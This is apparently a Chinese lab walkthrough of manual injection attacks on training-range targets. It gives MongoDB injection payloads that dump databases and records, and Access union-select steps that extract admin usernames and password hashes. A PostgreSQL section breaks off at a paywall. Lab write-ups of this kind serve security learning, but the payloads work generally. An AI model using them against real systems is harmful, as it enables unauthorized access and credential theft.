SQL手工注入漏洞测试
靶场地址: 墨者学院
MongoDB数据库注入

点击此处跳转界面

通过观察url信息,测试注入点
单引号找测试注入点
?id=1'
页面发生变化
构造简单的回显点
构造简单的链接测试回显:
?id=1'}); return ({
title:1,content:'2

爆库:
?id=1'}); return ({title:tojson(db),content:'1

db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。并且mongodb函数区分大小写
爆表:
?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1 查询有的集合(集合相当于mysql的表)

爆字段:
?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1
db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据

第二条数据:

注意在查询字段过程当中要加上tojson进行转换,否则无法正常回显数据

将得到的密码进行MD5解密即可,登录即可获得KEY
使用工具也可进行注入,由于sqlmap不支持MongoDB,所以可以使用NoSQLAttack工具进行注入:
工具下载地址:NoSQLAttack
具体使用参考官方文档即可
参考文档:MongoDB注入
菜鸟教程:MongoDB 查询文档
Access数据库注入
access数据库结构:
表名---->列名---->内容数据 不像其他的数据库一样、里面创建多个数据库然后才是表再是内容,而access的话只有若干张表。注入时获取表面和内容的字段信息靠猜或爆破

点击此处跳转

测试注入,观察回显是否正常
and 1=1 回显正常
and 1=2 回显不正常
或随便输入数值 回显不正常
加入单引号回显不正常
判断字段个数
order by 1 回显正常
order by 2 回显正常
order by 3 回显正常
order by 4 回显正常
order by 5 回显不正常,说明有4列字段
猜表名,看是否存在user,admin,show等敏感信息表,靠猜或者使用bp爆破
?id=1 and exists(select * from user) 测试是否存在user
回显不正常,说明不存在
?id=1 and exists(select * from admin) 测试是否存在admin
回显正常说明存在


存在admin表,测回显位置
?id=1 union select 1,2,3,4 from admin

接下来猜字段
and exists (select id from admin)
回显正常说明存在
逐一验证id,user,username,passwd,password等敏感字段是否存在,猜测或者bp爆破
回显正常则存在该字段,不正常说明不存在该字段

以此类推去猜测即可
爆字段的值
union select 1,username,passwd,id from admin

成功获取用户名和密码,MD5解密,登录即可获得KEY
也可以使用工具:Pangolin

选中想要的数据过后,开始执行,等待过后即可获取

PostgreSQL数据库注入

测试注入点

判断注入点
and 1=1 回显正常
and 1=2 回显不正常
加单引号无回显

判断字段的个数
?id=1 order by 1 回显正常
?id=1 order by 2 回显正常
?id=1 order by 3 回显正常
?id=1 order by 4 回显正常
?id=1 order by 5 无回显
说明有4列字段

判断回显点
?id=-1 union select 1,2,3,4 无回显
?id=-1 union select

本文围绕SQL手工注入漏洞测试展开,介绍了MongoDB、Access、PostgreSQL、Sql Server和Oracle数据库的注入测试方法。包括打开靶场环境、测试注入点、判断字段个数等步骤,还提及了可使用的注入工具,如NoSQLAttack、sqlmap、Pangolin等。
最低0.47元/天 解锁文章
1201

被折叠的 条评论
为什么被折叠?



